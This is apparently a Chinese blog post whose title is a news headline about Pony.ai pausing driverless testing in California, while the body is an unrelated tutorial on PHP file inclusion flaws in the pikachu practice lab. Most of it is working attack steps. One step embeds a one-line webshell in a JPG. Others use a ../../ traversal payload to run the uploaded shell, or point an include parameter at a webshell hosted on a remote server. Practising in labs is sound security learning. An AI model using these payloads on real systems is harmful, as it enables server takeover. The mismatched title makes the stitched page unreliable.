小馬智行 (Pony.ai) 主動暫停加州全無人駕駛汽車測試
阿新 • • 發佈:2021-12-13
檔案包含
概念
把可以重複使用的函式寫入單個檔案中,在使用該函式時,直接呼叫此檔案,無需再次編寫函式,這呼叫檔案的過程稱為包含
漏洞原理
大多數情況下,檔案包含函式中包含的程式碼檔案是固定的,因此也不會出現安全問題。 但是,有些時候,檔案包含的程式碼檔案被寫成了一個變數,且這個變數可以由前端使用者傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發檔案包含漏洞。 攻擊著會指定一個“意想不到”的檔案讓包含函式去執行,從而造成惡意操作
防禦
在web應用系統的功能設計上儘量不要讓前端使用者直接傳變數給包含函式,如果非要這麼做,也一定要做嚴格的白名單策略進行過濾
漏洞型別
一、本地檔案包含漏洞
僅能夠對伺服器本地的檔案進行包含,由於伺服器上的檔案並不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些 固定的系統配置檔案,從而讀取系統敏感資訊。很多時候本地檔案包含漏洞會結合一些特殊的檔案上傳漏洞,從而形成更大的威力。
以pikachu靶場為例,通過白盒的方式進行展示
1.首先將一句話木馬和一個普通的檔案結合起來(一句話木馬通過txt或者php儲存都不影響)
copy /a 1.jpg + /b test.php = muma.jpg
2.上傳到Unsafe Fileupload的getimagesize中,獲取儲存路徑為uploads/24931561b9d4c42c4f0082985216.jpg
PS:如果出現報錯,發現是時間的問題,可以到靶場配置檔案getimagesize.php下修改儲存路徑為$save_path='uploads/'
3.找到本地下包含木馬的jpg檔案位置為vul/unsafeupload/uploads/24931561b9d4c42c4f0082985216.jpg,然後到File Inclusion下的local,隨便點選一個圖片,獲取儲存地址為vul/fileinclude/fi_local.php?filename=file1.php&submit=提交查詢
4.通過本地找到該圖片的位置為vul/fileinclude/include 下,觀察3中的url位置,修改filename到含有木馬的檔案下,完成執行
vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/24931561b9d4c42c4f0082985216.jpg&submit=提交查詢
PS:該url可以通過蟻劍建立連線
二、遠端檔案包含漏洞
能夠通過url地址對遠端的檔案進行包含,這意味著攻擊者可以傳入任意的程式碼
準備:1.開啟配置檔案,修改php.ini檔案的allow_url_include = Off 改成 On
2.開啟一個伺服器:python3 -m http.server 9999 並將一句話木馬上傳到伺服器下
1.首先在伺服器上編寫一句話木馬,儲存檔案為1.txt
2.找到伺服器上木馬的位置為http://192.168.223.130:9999/1.txt
3.在pikachu的File Inclusion的remote中,點開圖片後,修改url的filename為木馬位置,完成執行
vul/fileinclude/fi_remote.php?filename=http://192.168.223.130:9999/1.txt&submit=submit=提交查詢